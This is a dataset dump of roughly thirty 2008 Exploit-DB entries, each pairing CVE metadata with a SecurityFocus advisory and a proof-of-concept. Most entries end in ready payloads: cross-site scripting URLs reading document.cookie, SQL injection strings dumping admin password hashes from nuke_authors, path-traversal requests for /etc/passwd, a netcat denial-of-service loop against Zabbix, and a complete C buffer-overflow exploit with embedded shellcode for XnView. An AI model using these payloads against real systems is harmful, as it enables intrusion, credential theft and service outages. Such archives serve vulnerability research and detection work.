QLWD/code_shield huggingface dataset:
标题: Cfnetgs 0.24 - 'index.php' Cross-Site Scripting EDB-ID: 31408 CVE: 2008-1479 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28267/info

Cfnetgs is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Cfnetgs 0.24 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/photo/index.php?directory="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31408
标题: BootManage TFTP Server 1.99 - 'Filename' Remote Buffer Overflow EDB-ID: 31409 CVE: 2008-1403 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28270/info

BootManage TFTP Server is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

BootManage TFTP Server 1.99 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31591.zip URL: https://www.exploit-db.com/exploits/31409
标题: phpStats 0.1_alpha - 'phpStats.php' Cross-Site Scripting EDB-ID: 31414 CVE: 2008-0125 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28291/info

The 'phpstats' program is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects phpstats 0.1_alpha.

http://www.example.com/phpstats/phpstats.php?baseDir=<script>alert(1)</script>&mode=run URL: https://www.exploit-db.com/exploits/31414
标题: eWeather - 'chart' Cross-Site Scripting EDB-ID: 31402 CVE: 2008-1348 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28241/info

eWeather is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/31402
标题: Virtual Support Office XP 2 - 'MyIssuesView.asp' SQL Injection EDB-ID: 31404 CVE: 2008-1354 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/28247/info

Virtual Support Office XP (VSO-XP) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/MyIssuesView.asp?Issue_ID=-1%20having%201=1--
http://www.example.com/MyIssuesView.asp?Issue_ID=-1 update QIssues set column='hacked';-- URL: https://www.exploit-db.com/exploits/31404
标题: Imperva SecureSphere 5.0 - Cross-Site Scripting EDB-ID: 31413 CVE: 2008-1463 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28279/info

Imperva SecureSphere is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Imperva SecureSphere 5.0 MX Management Server is vulnerable. 

http://www.example.con/%20<script>alert(window.location=(window.location+"a").slice(0,48)+"view=activateSettingObj&popUpViewRequest=activatePopup&view_func=frameset&view_module=activate_setting");</script>/*.aspx URL: https://www.exploit-db.com/exploits/31413
标题: XnView 1.92.1 - Command-Line Arguments Buffer Overflow EDB-ID: 31405 CVE: 2008-1461 类型: REMOTE 平台: WINDOWS 发布日期: 2014-02-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/28259/info

XnView is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Attackers may exploit this issue only if XnView is configured as a handler for other applications, so that it can be passed malicious filenames as command-line data.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial of service.

This issue affects XnView 1.92.1; other versions may also be vulnerable.

#include <unistd.h>  

/*
Shellcode
Size=164 octets
Action: open calc.exe
*/
unsigned char shellcode[] =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16"
"\x77\x0b\x94\x83\xeb\xfc\xe2\xf4\xea\x9f\x4f\x94\x16\x77\x80\xd1"
"\x2a\xfc\x77\x91\x6e\x76\xe4\x1f\x59\x6f\x80\xcb\x36\x76\xe0\xdd"
"\x9d\x43\x80\x95\xf8\x46\xcb\x0d\xba\xf3\xcb\xe0\x11\xb6\xc1\x99"
"\x17\xb5\xe0\x60\x2d\x23\x2f\x90\x63\x92\x80\xcb\x32\x76\xe0\xf2"
"\x9d\x7b\x40\x1f\x49\x6b\x0a\x7f\x9d\x6b\x80\x95\xfd\xfe\x57\xb0"
"\x12\xb4\x3a\x54\x72\xfc\x4b\xa4\x93\xb7\x73\x98\x9d\x37\x07\x1f"
"\x66\x6b\xa6\x1f\x7e\x7f\xe0\x9d\x9d\xf7\xbb\x94\x16\x77\x80\xfc"
"\x2a\x28\x3a\x62\x76\x21\x82\x6c\x95\xb7\x70\xc4\x7e\x87\x81\x90"
"\x49\x1f\x93\x6a\x9c\x79\x5c\x6b\xf1\x14\x6a\xf8\x75\x59\x6e\xec"
"\x73\x77\x0b\x94";

/*
user32.dll ret adress ==> jmp ebp
under Win XP pro SP2
*/
unsigned char ret[] ="\x34\x59\x40\x7e";


int main(int argc,char *argv[]){
char *bufExe[3];
char buf[511];
bufExe[0] = "xnview.exe";
bufExe[2] = NULL;
memset(buf,0x90,511);
memcpy(&buf[260],ret,4);   
memcpy(&buf[330],shellcode,sizeof(shellcode));   
bufExe[1] = buf;

execve(bufExe[0],bufExe,NULL);
return 0x0;
} URL: https://www.exploit-db.com/exploits/31405
标题: Zabbix 1.1x/1.4.x - File Checksum Request Denial of Service EDB-ID: 31403 CVE: 2008-1353 类型: DOS 平台: UNIX 发布日期: 2008-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/28244/info

ZABBIX is prone to a denial-of-service vulnerability when handling specially crafted requests for file checksums.

An attacker can exploit this issue to cause the affected application to stop responding, denying service to legitimate users.

echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost URL: https://www.exploit-db.com/exploits/31403
标题: SNewsCMS 2.x - 'search.php' Cross-Site Scripting EDB-ID: 31406 CVE: 2008-1413 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28262/info

SNewsCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SNewsCMS 2.3 and 2.4 are vulnerable to this issue; other versions may also be affected.

http://www.example.com/search.php?query="><h1>XSS</h1> URL: https://www.exploit-db.com/exploits/31406
标题: Lighttpd 1.4.x - mod_userdir Information Disclosure EDB-ID: 31396 CVE: 2008-1270 类型: REMOTE 平台: LINUX 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28226/info

The 'lighttpd' program is prone to a vulnerability that may allow attackers to access sensitive information because the application fails to properly handle exceptional conditions.

Information obtained may aid in further attacks.

This issue affects lighttpd 1.4.18; other versions may also be vulnerable. 

http://www.example.com/~nobody/etc/passwd URL: https://www.exploit-db.com/exploits/31396
标题: Cisco User-Changeable Password (UCP) 3.3.4.12.5 - 'CSuserCGI.exe' Multiple Remote Vulnerabilities EDB-ID: 31394 CVE: 2008-0532 类型: DOS 平台: WINDOWS 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28222/info

Cisco User-Changeable Password (UCP) is prone to multiple remote vulnerabilities, including cross-site scripting and buffer-overflow vulnerabilities.

Exploiting the cross-site scripting issues may help the attacker steal cookie-based authentication credentials and launch other attacks. Exploiting the buffer-overflow vulnerabilities allows attackers to execute code in the context of the affected application, facilitating the remote compromise of affected computers.

The buffer-overflow issues are tracked by Cisco Bug ID CSCsl49180. The cross-site scripting issues are tracked by Cisco Bug ID CSCsl49205.

These issues affect versions prior to UCP 4.2 when running on Microsoft Windows. 

http://www.example.com/securecgi-bin/CSUserCGI.exe?Logout+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB.xyzab.c.hacker. URL: https://www.exploit-db.com/exploits/31394
标题: McAfee Framework ePolicy 3.x - Orchestrator '_naimcomn_Log' Remote Format String EDB-ID: 31399 CVE: 2008-1357 类型: DOS 平台: WINDOWS 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28228/info

McAfee Framework is prone to a remote format-string vulnerability.

Exploiting this issue will allow attackers to execute arbitrary code with the permissions of the framework or of an application that uses the framework. Failed attacks will likely cause denial-of-service conditions.
McAfee Common Managemetn Agent 3.6.0.574 (Patch3) or earlier, McAfee Agent (MA) 4.0, Framework 2.6.0.569 and ePolicy Orchestrator 4.0 are vulnerable to this issue; other versions may also be affected.

NOTE: This issue occurs only when the default debug level (7) is raised to 8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31399.zip URL: https://www.exploit-db.com/exploits/31399
标题: Chris LaPointe Download Center 1.2 - 'search' Cross-Site Scripting EDB-ID: 31391 CVE: 2008-7134 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28219/info
  
Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=search_results&search="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31391
标题: Uberghey CMS 0.3.1 - 'index.php' Multiple Local File Inclusions EDB-ID: 31387 CVE: 2008-1325 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28217/info

Uberghey CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

Uberghey CMS 0.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/uberghey-0.3.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://www.example.com/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/31387
标题: Cisco User-Changeable Password (UCP) 3.3.4.12.5 - 'CSUserCGI.exe' Help Facility Cross-Site Scripting EDB-ID: 31395 CVE: 2008-0533 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28222/info
 
Cisco User-Changeable Password (UCP) is prone to multiple remote vulnerabilities, including cross-site scripting and buffer-overflow vulnerabilities.
 
Exploiting the cross-site scripting issues may help the attacker steal cookie-based authentication credentials and launch other attacks. Exploiting the buffer-overflow vulnerabilities allows attackers to execute code in the context of the affected application, facilitating the remote compromise of affected computers.
 
The buffer-overflow issues are tracked by Cisco Bug ID CSCsl49180. The cross-site scripting issues are tracked by Cisco Bug ID CSCsl49205.
 
These issues affect versions prior to UCP 4.2 when running on Microsoft Windows. 

http://www.example.com/securecgi-bin/CSUserCGI.exe?Help+00.lala.c.hacker%22%22%22%3E%3Ch1%3EHello_Cisco%3C/h1%3E URL: https://www.exploit-db.com/exploits/31395
标题: Travelsized CMS 0.4.1 - 'index.php' Multiple Local File Inclusions EDB-ID: 31388 CVE: 2008-1324 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28218/info

Travelsized CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information in the context of the affected application.

Travelsized CMS 0.4.1 is vulnerale; other versions may also be affected. 

http://www.example.com/travelsized-0.4.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://www.example.com/travelsized-0.4.1/index.php?language=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/31388
标题: Chris LaPointe Download Center 1.2 - login Action Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31389 CVE: 2008-7134 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28219/info

Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=login&message="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31389
标题: PHP-Nuke zClassifieds Module - 'cat' SQL Injection EDB-ID: 31384 CVE: 2008-1315 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28211/info

The zClassifieds module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?ZClassifieds&cat=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/** URL: https://www.exploit-db.com/exploits/31384
标题: Jeebles Directory 2.9.60 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31393 CVE: 2008-1355 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28221/info

Jeebles Directory is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Jeebles_Directory/?path="><script>alert()</script>
http://www.example.com/Jeebles_Directory/?path=subdirectory/"><script>alert(document.cookie)</script>
http://www.example.com/Jeebles_Directory/subdirectory/index.php?path="><script>alert(document.cookie)</script>
http://www.example.com/Jeebles_Directory/index.php?administration&access_login=-1&access_password=<br%20/><b>Notice</b>:%20%20Undefined%20index:%20%20access_password%20in%20<b>c:\program%20files\easyphp1-8\www\jeebles_directory\describe.php</b>%20on%20line%20<b>62</b><br%20/>&path=<br%20/><b>Notice</b>:%20%20Use%20of%20undefined%20constant%20path%20-%20assumed%20&#039;path&#039;%20in%20<b>c:\program%20files\easyphp1-8\www\jeebles_directory\describe.php</b>%20on%20line%20<b>62</b><br%20/><br%20/><b>Notice</b>:%20%20Undefined%20index:%20%20path%20in%20<b>"><script>alert(document.cookie)</script></b>%20on%20line%20<b>62</b><br%20/> URL: https://www.exploit-db.com/exploits/31393
标题: Chris LaPointe Download Center 1.2 - 'category' Cross-Site Scripting EDB-ID: 31390 CVE: 2008-7134 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28219/info
 
Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=browse&category="><script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/31390
标题: EncapsGallery 1.11.2 - 'catalog_watermark.php?file' Cross-Site Scripting EDB-ID: 31380 CVE: 2008-1296 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28178/info
 
EncapsGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
EncapsGallery 1.11.2 is vulnerable to these issues; other versions may also be affected. 

http://localhost/encapsgallery-1.11.2/core/catalog_watermark.php?file="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31380
标题: PHP-Nuke NukeC30 3.0 Module - 'id_catg' SQL Injection EDB-ID: 31383 CVE: 2008-1308 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28197/info

The NukeC30 module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The NukeC30 module 3.0 is affected; other versions may also be vulnerable. 

http://www.example.com/modules.php?name=NukeC30&op=ViewCatg&id_catg=-1/**/union/**/select/**/concat(aid,0x3a,pwd),2/**/from/**/nuke_authors/*where%20admin%20-2 URL: https://www.exploit-db.com/exploits/31383
标题: PHP-Nuke Hadith Module - 'cat' SQL Injection EDB-ID: 31377 CVE: 2008-1298 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28171/info

The Hadith module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A URL: https://www.exploit-db.com/exploits/31377
标题: EasyImageCatalogue 1.31 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31371 CVE: 2008-7133 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28164/info

onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?search="><script>alert()</script>
http://www.example.com/index.php?d="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31371
标题: RemotelyAnywhere 8.0.668 - 'Accept-Charset' Null Pointer Denial of Service EDB-ID: 31378 CVE: 2008-1278 类型: DOS 平台: MULTIPLE 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28175/info

RemotelyAnywhere is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this issue will cause the server to copy data to a NULL pointer, which will crash the server, denying access to legitimate users.

This issue affects RemotelyAnywhere Server and Workstation 8.0.688; other versions may also be affected.

GET / HTTP/1.1
Accept-Charset: boom URL: https://www.exploit-db.com/exploits/31378
标题: Gallarific - 'search.php?query' Cross-Site Scripting EDB-ID: 31369 CVE: 2008-1326 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28163/info

Gallarific is prone to a cross-site scripting vulnerability and multiple authentication-bypass vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add new categories, add new users, and modify existing users. Other attacks are also possible.

These issues affect both the commercial and the free versions of Gallarific.

http://www.example.com/gallery/search.php?dosearch=true&query="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31369
标题: Drake CMS 0.4.11 RC8 - 'd_root' Local File Inclusion EDB-ID: 31375 CVE: 2008-1371 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28165/info

Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Drake CMS 0.4.11_RC8 is vulnerable; other versions may also be affected.

http://www.example.com/install/index.php?d_root=/etc/passwd%00 URL: https://www.exploit-db.com/exploits/31375